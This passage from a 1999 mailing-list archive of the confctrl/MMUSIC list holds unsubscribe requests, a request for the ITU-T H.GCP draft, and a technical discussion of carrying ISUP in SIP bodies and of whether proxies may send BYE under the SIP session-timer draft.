	for confctrl-outgoing; Wed, 14 Jul 1999 17:25:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA14024
	for <confctrl@zephyr.isi.edu>; Wed, 14 Jul 1999 17:25:11 -0700 (PDT)
Received: from ercb_00_msg.pldt.com.ph (mailer.pldt.com.ph [203.172.15.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA11814;
	Wed, 14 Jul 1999 17:25:05 -0700 (PDT)
Received: by ERCB_00_MSG with Internet Mail Service (5.5.2232.9)
	id <NM7DS8X1>; Thu, 15 Jul 1999 08:24:24 +0800
Message-ID: <13E5E2E6158ED011AC1B080009D70A7240B8A8@ESPC_02_MSG>
From: "ROSAL, Antonio S." <ASROSAL@pldt.com.ph>
To: confctrl@ISI.EDU
Cc: owner-confctrl@ISI.EDU
Subject: RE: remove mbarthol@tusculum.edu
Date: Thu, 15 Jul 1999 08:24:14 +0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





remove
mbarthol@tusculum.edu

From confctrl-owner  Wed Jul 14 18:55:16 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA17465
	for confctrl-outgoing; Wed, 14 Jul 1999 18:55:16 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA17460
	for <confctrl@zephyr.isi.edu>; Wed, 14 Jul 1999 18:55:14 -0700 (PDT)
Received: from emgo_01_imc.pldt.com.ph (emgo_01_imc.pldt.com.ph [203.172.15.130])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA20402
	for <confctrl@ISI.EDU>; Wed, 14 Jul 1999 18:53:08 -0700 (PDT)
Received: by EMGO_01_IMC with Internet Mail Service (5.5.2232.9)
	id <3893J8KF>; Thu, 15 Jul 1999 08:32:44 +0800
Message-ID: <13E5E2E6158ED011AC1B080009D70A7240B8A4@ESPC_02_MSG>
From: "ROSAL, Antonio S." <ASROSAL@pldt.com.ph>
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: remove
Date: Thu, 15 Jul 1999 06:22:56 +0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Please remove my mailing list subscription. My e-mail is
"asrosal@pldt.com.ph"
Thanks a lot.




From confctrl-owner  Wed Jul 14 18:55:29 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA17482
	for confctrl-outgoing; Wed, 14 Jul 1999 18:55:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA17477
	for <confctrl@zephyr.isi.edu>; Wed, 14 Jul 1999 18:55:28 -0700 (PDT)
Received: from emgo_01_imc.pldt.com.ph (emgo_01_imc.pldt.com.ph [203.172.15.130])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA20541
	for <confctrl@ISI.EDU>; Wed, 14 Jul 1999 18:55:19 -0700 (PDT)
Received: by EMGO_01_IMC with Internet Mail Service (5.5.2232.9)
	id <39AG5ZR1>; Thu, 15 Jul 1999 09:42:02 +0800
Message-ID: <13E5E2E6158ED011AC1B080009D70A7240B8A9@ESPC_02_MSG>
From: "ROSAL, Antonio S." <ASROSAL@pldt.com.ph>
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: remove
Date: Thu, 15 Jul 1999 09:05:24 +0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


remove flep@bnl.gov

From confctrl-owner  Wed Jul 14 20:21:23 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA20492
	for confctrl-outgoing; Wed, 14 Jul 1999 20:21:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA20487
	for <confctrl@zephyr.isi.edu>; Wed, 14 Jul 1999 20:21:21 -0700 (PDT)
Received: from dwarpal.wipsys.soft.net (dwarpal.wipsys.soft.net [164.164.127.8])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA24267
	for <confctrl@isi.edu>; Wed, 14 Jul 1999 20:21:16 -0700 (PDT)
Received: by dwarpal.wipsys.soft.net (SMI-8.6/SMI-SVR4)
	id IAA21459; Thu, 15 Jul 1999 08:47:39 +0530
Received: from ace.wipsys.soft.net(164.164.29.18) by dwarpal via smap (V2.0)
	id xmaa21430; Thu, 15 Jul 99 08:47:19 +0530
Received: from dam.wipsys.soft.net ([164.164.28.254])
          by ace.wipsys.soft.net (Netscape Messaging Server 3.6)  with SMTP
          id AAA5CD0 for <confctrl@isi.edu>;
          Thu, 15 Jul 1999 08:50:46 +0530
Message-ID: <001f01bece71$ae9b6b40$fe1ca4a4@dam.wipsys.soft.net>
From: "kartick Sundaram" <karsun@wipsys.soft.net>
To: <confctrl@ISI.EDU>
Subject: remove karsun@wipsys.soft.net
Date: Thu, 15 Jul 1999 08:55:25 +0530
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_001C_01BECE9F.C7DFAFC0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_001C_01BECE9F.C7DFAFC0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^=
^^^^^^^^^^^^^
Kartick Sundaram
Wipro Enterprise Solutions
SOLUTNS
Sri Ganesha complex
271 , hosur main rd
bangalore-65

Indecision is the key to flexibility=20
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^=
^^^^^^^^^^^^^

------=_NextPart_000_001C_01BECE9F.C7DFAFC0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#000000=20
size=3D2>^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^=
^^^^^^^^^^^^^^^^^^^^^^<BR>Kartick=20
Sundaram<BR>Wipro Enterprise Solutions<BR>SOLUTNS<BR>Sri Ganesha =
complex<BR>271=20
, hosur main rd<BR>bangalore-65</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>Indecision is the key to flexibility =

<BR>^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^=
^^^^^^^^^^^^^^^^^</FONT></DIV></BODY></HTML>

------=_NextPart_000_001C_01BECE9F.C7DFAFC0--


From confctrl-owner  Wed Jul 14 21:31:47 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA22671
	for confctrl-outgoing; Wed, 14 Jul 1999 21:31:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA22666
	for <confctrl@zephyr.isi.edu>; Wed, 14 Jul 1999 21:31:46 -0700 (PDT)
Received: from mx01.lab.jvcasia.com.sg ([203.120.195.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA27831
	for <confctrl@ISI.EDU>; Wed, 14 Jul 1999 21:31:44 -0700 (PDT)
Received: from pc3 (pc3.lab.jvcasia.com.sg [136.198.103.199])
	by mx01.lab.jvcasia.com.sg (8.9.1/8.9.1) with SMTP id MAA11446
	for <confctrl@ISI.EDU>; Thu, 15 Jul 1999 12:31:12 +0800 (SGT)
Message-ID: <00de01bece7b$19fd9120$ca4d15a5@lab.jvcasia.com.sg>
From: "Zhishou, Zhang" <zhang@lab.jvcasia.com.sg>
To: "confctrl" <confctrl@ISI.EDU>
Subject: remove zhang@lab.jvcasia.com.sg
Date: Thu, 15 Jul 1999 12:32:51 +0800
Organization: jvc asia
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_00DB_01BECEBE.27BC1BE0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_00DB_01BECEBE.27BC1BE0
Content-Type: text/plain;
	charset="hz-gb-2312"
Content-Transfer-Encoding: quoted-printable

remove zhang@lab.jvcasia.com.sg


------=_NextPart_000_00DB_01BECEBE.27BC1BE0
Content-Type: text/html;
	charset="hz-gb-2312"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dhz-gb-2312" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3401" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DSimsun lang=3DZH-CN size=3D1>
<P>remove zhang@lab.jvcasia.com.sg</P></FONT></DIV></BODY></HTML>

------=_NextPart_000_00DB_01BECEBE.27BC1BE0--


From confctrl-owner  Fri Jul 16 16:26:09 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA19371
	for confctrl-outgoing; Fri, 16 Jul 1999 16:26:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA19347
	for <confctrl@zephyr.isi.edu>; Fri, 16 Jul 1999 16:26:06 -0700 (PDT)
Received: from tesla.comm.toronto.edu (tesla.comm.utoronto.ca [128.100.11.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA29562
	for <confctrl@isi.edu>; Fri, 16 Jul 1999 16:26:05 -0700 (PDT)
Received: from riemann.comm (riemann.comm [128.100.11.18])
	by tesla.comm.toronto.edu (8.9.0/8.9.0) with ESMTP id TAA08571;
	Fri, 16 Jul 1999 19:24:02 -0400 (EDT)
From: Hassan Naser <hnaser@comm.toronto.edu>
Received: (from hnaser@localhost)
	by riemann.comm (8.9.0/8.9.0) id TAA09281;
	Fri, 16 Jul 1999 19:23:54 -0400 (EDT)
Message-Id: <199907162323.TAA09281@riemann.comm>
Subject: H.GCP draft?
To: rem-conf@es.net
Date: Fri, 16 Jul 1999 19:23:53 -0400 (EDT)
Cc: confctrl@ISI.EDU
X-Mailer: ELM [version 2.4 PL25]
Content-Type: text
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Does anyone have the ITU.T Draft Recomm. H.GCP?
Anything that relates to, or describes the 
(GCP) protocol is also welcome.

Thanks

Hassan Naser
hnaser@comm.utoronto.ca

From confctrl-owner  Mon Jul 19 05:08:03 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA10232
	for confctrl-outgoing; Mon, 19 Jul 1999 05:08:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA10225
	for <confctrl@zephyr.isi.edu>; Mon, 19 Jul 1999 05:08:01 -0700 (PDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA17644
	for <confctrl@ISI.EDU>; Mon, 19 Jul 1999 05:08:00 -0700 (PDT)
Received: from lmf.lmf.ericsson.se (umail.lmf.ericsson.se [131.160.11.2])
	by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.3) with ESMTP id OAA04038
	for <confctrl@ISI.EDU>; Mon, 19 Jul 1999 14:07:54 +0200 (MET DST)
Received: from ericsson.com by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id PAA11043; Mon, 19 Jul 1999 15:07:17 +0300 (EET DST)
Message-ID: <37931484.5DF5150B@ericsson.com>
Date: Mon, 19 Jul 1999 15:05:24 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.51 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: mmusic <confctrl@ISI.EDU>
CC: Ricky Project <Ricky@lmf.ericsson.se>
Subject: ISUP inside SIP body
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

Last week in Oslo there were some talks about ISUP messages in SIP
bodies.
Jonathan made a good comment. What happens if we receive for example a
REL ISUP message in a INVITE request?

This situation will probably never happen, but other similar scenarios
could represent a problem.

The behaviour of an MGC would have to be different, depending on the
callee (a SIP client or another MGC).

For example, if we receive in the MGC an ACM message from the ISUP side,
our SIP-ISUP state machine will probably say that we have to send a "180
Ringing" response (or 183) to the SIP side.
But the ACM might contain a parameter that indicates that the B-party
(the ISUP side) is not being alerted ('early ACM').

So, if the A-party was a SIP phone, we should't send anything, because
for SIP nothing happened.

But if the A-party was another MGC, this ACM has to be sent (SIP INFO
method or 180 reponse?) in order to provide ISUP transparency.
SIP INFO sounds good, but "180 Ringing" would have contradictory
information in the ACM...

The point is, if we are just using SIP for transporting ISUP messages,
should we care about the information that SIP provides, or we have just
to get the ISUP message as it is, and put it on the PSTN network?

In SIGTRAN they do not want to use TCP because (among other reasons)
before sending the first IAM the TCP handshake takes too long...
If SIP is used, we have this timing problem also...

What I am saying is that providing ISUP-SIP-ISUP services is more
complicated that many people think, and there are lots of things that
have to be taken into account (besides puting some messages inside
anothers)...

All these issues will be addressed in a draft coming up soon.

Comments are welcome,

Gonzalo
-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 31 18
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland

From confctrl-owner  Mon Jul 19 05:21:55 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA10687
	for confctrl-outgoing; Mon, 19 Jul 1999 05:21:55 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA10682
	for <confctrl@zephyr.isi.edu>; Mon, 19 Jul 1999 05:21:53 -0700 (PDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA17896
	for <confctrl@ISI.EDU>; Mon, 19 Jul 1999 05:21:52 -0700 (PDT)
Received: from lmf.lmf.ericsson.se (umail.lmf.ericsson.se [131.160.11.2])
	by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.3) with ESMTP id OAA11129
	for <confctrl@ISI.EDU>; Mon, 19 Jul 1999 14:21:47 +0200 (MET DST)
Received: from ericsson.com by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id PAA11661; Mon, 19 Jul 1999 15:21:09 +0300 (EET DST)
Message-ID: <379317C4.5901332A@ericsson.com>
Date: Mon, 19 Jul 1999 15:19:16 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.51 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: mmusic <confctrl@ISI.EDU>
CC: Ricky Project <Ricky@lmf.ericsson.se>
Subject: Session timer
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

About the draft about session timer.
I think that it is a good idea. In a pre-paid call, the server could
tear down the connection when the user has run out of money... the
problem is how to do that.

In the draft, the proxy server sends BYE request. This sounds bad to me,
since in a race condition, one of the User Agents, could issue a request
with the same CSeq that the BYE generated by the proxy, and we would
have two messages with the same Cseq number that are completely
different.

It may be solved with Record-Route header... so, if all the traffic goes
through the proxy, it can take care of all the mess that its BYE can
trigger...

Anyway, I do not like proxies sending BYEs...

Comments?

Gonzalo
-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 31 18
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland

From confctrl-owner  Mon Jul 19 07:55:19 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA16691
	for confctrl-outgoing; Mon, 19 Jul 1999 07:55:19 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA16685
	for <confctrl@zephyr.isi.edu>; Mon, 19 Jul 1999 07:55:17 -0700 (PDT)
Received: from omzrelay02.mcit.com (beta.mcit.com [199.249.19.244])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA23604
	for <confctrl@ISI.EDU>; Mon, 19 Jul 1999 07:55:17 -0700 (PDT)
Received: from ndcrelay.mcit.com ([166.37.172.49])
 by firewall.mcit.com (PMDF V5.2-32 #38417)
 with ESMTP id <0FF400EQSH0167@firewall.mcit.com> for confctrl@ISI.EDU; Mon,
 19 Jul 1999 14:45:38 +0000 (GMT)
Received: from omzmta04.mcit.com (omzmta04.mcit.com [166.37.194.122])
 by ndcrelay.mcit.com (8.8.7/) with ESMTP	id OAA24516; Mon,
 19 Jul 1999 14:44:26 +0000 (GMT)
Received: from C25776A ([166.35.226.58])
 by omzmta04.mcit.com (InterMail v03.02.05 118 121 101)
 with SMTP id <19990719144531.KGWG3540@C25776A>; Mon, 19 Jul 1999 14:45:31 +0000
Date: Tue, 20 Jul 1999 09:44:48 +0200
From: Henry Sinnreich <henry.sinnreich@wcom.com>
Subject: RE: Session timer
In-reply-to: <379317C4.5901332A@ericsson.com>
To: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>,
        mmusic <confctrl@ISI.EDU>
Cc: Ricky Project <Ricky@lmf.ericsson.se>
Message-id: <NBBBIIJFOKPMFOOILMBKCEKEEEAA.henry.sinnreich@wcom.com>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
X-Mailer: Microsoft Outlook IMO, Build 9.0.2212 (4.71.2419.0)
Content-type: text/plain;	charset="iso-8859-1"
Content-transfer-encoding: 7bit
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Comments?
This is a hard problem and I believe we have to distinguish between SIP
gateway endpoints and SIP clients.
* In the gateway case, there are plenty of PSTN-like hooks for billing,
* In the client, one can use an encrypted and signed cookie as the DCS Group
does, though I believe we need a slighly different architecture has to be
used to accommodate a multi-provider environment. The information in the
cookie and the QoS minutes (if any) can be used for charging. This is a bit
hazy, but we need to develop a multi-provider solution that works equally
well for other, non-telephony services.

Henry

> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Gonzalo Camarillo
> Sent: Monday, July 19, 1999 2:19 PM
> To: mmusic
> Cc: Ricky Project
> Subject: Session timer
>
>
> Hi,
>
> About the draft about session timer.
> I think that it is a good idea. In a pre-paid call, the server could
> tear down the connection when the user has run out of money... the
> problem is how to do that.
>
> In the draft, the proxy server sends BYE request. This sounds bad to me,
> since in a race condition, one of the User Agents, could issue a request
> with the same CSeq that the BYE generated by the proxy, and we would
> have two messages with the same Cseq number that are completely
> different.
>
> It may be solved with Record-Route header... so, if all the traffic goes
> through the proxy, it can take care of all the mess that its BYE can
> trigger...
>
> Anyway, I do not like proxies sending BYEs...
>
> Comments?
>
> Gonzalo
> --
> Gonzalo Camarillo         Phone :  +358  9 299 33 71
> Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
> Telecom R&D               Fax   :  +358  9 299 31 18
> FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
> Finland
>


From confctrl-owner  Mon Jul 19 19:32:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA16959
	for confctrl-outgoing; Mon, 19 Jul 1999 19:32:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA16952
	for <confctrl@zephyr.isi.edu>; Mon, 19 Jul 1999 19:32:09 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA00365
	for <confctrl@isi.edu>; Mon, 19 Jul 1999 19:32:08 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Mon Jul 19 22:31:27 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.152])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id WAA16438;
	Mon, 19 Jul 1999 22:31:34 -0400 (EDT)
Message-ID: <3793DFC1.16724E75@dnrc.bell-labs.com>
Date: Mon, 19 Jul 1999 22:32:33 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.61 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>
CC: mmusic <confctrl@ISI.EDU>, Ricky Project <Ricky@lmf.ericsson.se>
Subject: Re: Session timer
References: <379317C4.5901332A@ericsson.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Gonzalo Camarillo wrote:
> 
> Hi,
> 
> About the draft about session timer.
> I think that it is a good idea. In a pre-paid call, the server could
> tear down the connection when the user has run out of money... the
> problem is how to do that.
> 
> In the draft, the proxy server sends BYE request. This sounds bad to me,
> since in a race condition, one of the User Agents, could issue a request
> with the same CSeq that the BYE generated by the proxy, and we would
> have two messages with the same Cseq number that are completely
> different.
> 
> It may be solved with Record-Route header... so, if all the traffic goes
> through the proxy, it can take care of all the mess that its BYE can
> trigger...

No. The proxy can never generate a BYE in a system with any security. It
will fail authentication. In any case, the proxy cannot "force" the UA
to end the call if it doesn't want. The purpose of the session timer is
not for services like pre-paid calling cards, but merely as a heartbeat
timer for SIP sessions. When the keepalive is missed for some number of
intervals, the session is assumed dead, and a proxy (and UA) can safely
destroy state for the call. No BYE should be sent by any parties.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Jul 19 22:25:55 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA24298
	for confctrl-outgoing; Mon, 19 Jul 1999 22:25:55 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA24293
	for <confctrl@zephyr.isi.edu>; Mon, 19 Jul 1999 22:25:53 -0700 (PDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA08763
	for <confctrl@isi.edu>; Mon, 19 Jul 1999 22:25:52 -0700 (PDT)
Received: from lmf.lmf.ericsson.se (umail.lmf.ericsson.se [131.160.11.2])
	by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.3) with ESMTP id HAA00124;
	Tue, 20 Jul 1999 07:25:50 +0200 (MET DST)
Received: from ericsson.com by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id IAA10027; Tue, 20 Jul 1999 08:25:11 +0300 (EET DST)
Message-ID: <379407C3.4D4520B0@ericsson.com>
Date: Tue, 20 Jul 1999 08:23:15 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.51 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: jdrosen@dnrc.bell-labs.com
CC: confctrl@ISI.EDU, Ricky@lmf.ericsson.se
Subject: Re: Session timer
References: <3793DFC1.16724E75@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Jonathan,

jdrosen@dnrc.bell-labs.com wrote:
> 
> Gonzalo Camarillo wrote:
> >
> > Hi,
> >
> > About the draft about session timer.
> > I think that it is a good idea. In a pre-paid call, the server could
> > tear down the connection when the user has run out of money... the
> > problem is how to do that.
> >
> > In the draft, the proxy server sends BYE request. This sounds bad to me,
> > since in a race condition, one of the User Agents, could issue a request
> > with the same CSeq that the BYE generated by the proxy, and we would
> > have two messages with the same Cseq number that are completely
> > different.
> >
> > It may be solved with Record-Route header... so, if all the traffic goes
> > through the proxy, it can take care of all the mess that its BYE can
> > trigger...
> 
> No. The proxy can never generate a BYE in a system with any security. It
> will fail authentication.

Another reason to add to the ones I said to try to avoid BYEs sent by a
proxy... ( as I said before it sounds like a bad idea)

> In any case, the proxy cannot "force" the UA
> to end the call if it doesn't want.

That was my feeling also... anyway, if I am in the middle of a
conversation and my pre-paid card is out of money, how can somebody
force me to stop speaking??

If nobody can, everybody is going to buy 0.20$ telephone cards, just
enough to begin the conversation :o)

> The purpose of the session timer is
> not for services like pre-paid calling cards, but merely as a heartbeat
> timer for SIP sessions.

For this purpose it should work fine...

Regards,

Gonzalo

> When the keepalive is missed for some number of
> intervals, the session is assumed dead, and a proxy (and UA) can safely
> destroy state for the call. No BYE should be sent by any parties.
> 
> -Jonathan R.
> --
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX: (732) 834-5379                         Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen

-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 31 18
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland

From confctrl-owner  Tue Jul 20 06:48:14 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA13543
	for confctrl-outgoing; Tue, 20 Jul 1999 06:48:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA13538
	for <confctrl@zephyr.isi.edu>; Tue, 20 Jul 1999 06:48:13 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA27733
	for <confctrl@isi.edu>; Tue, 20 Jul 1999 06:48:10 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Tue Jul 20 09:46:48 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.248.61])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id JAA23459;
	Tue, 20 Jul 1999 09:46:53 -0400 (EDT)
Message-ID: <37947E08.5B346106@dnrc.bell-labs.com>
Date: Tue, 20 Jul 1999 09:47:52 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.61 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>
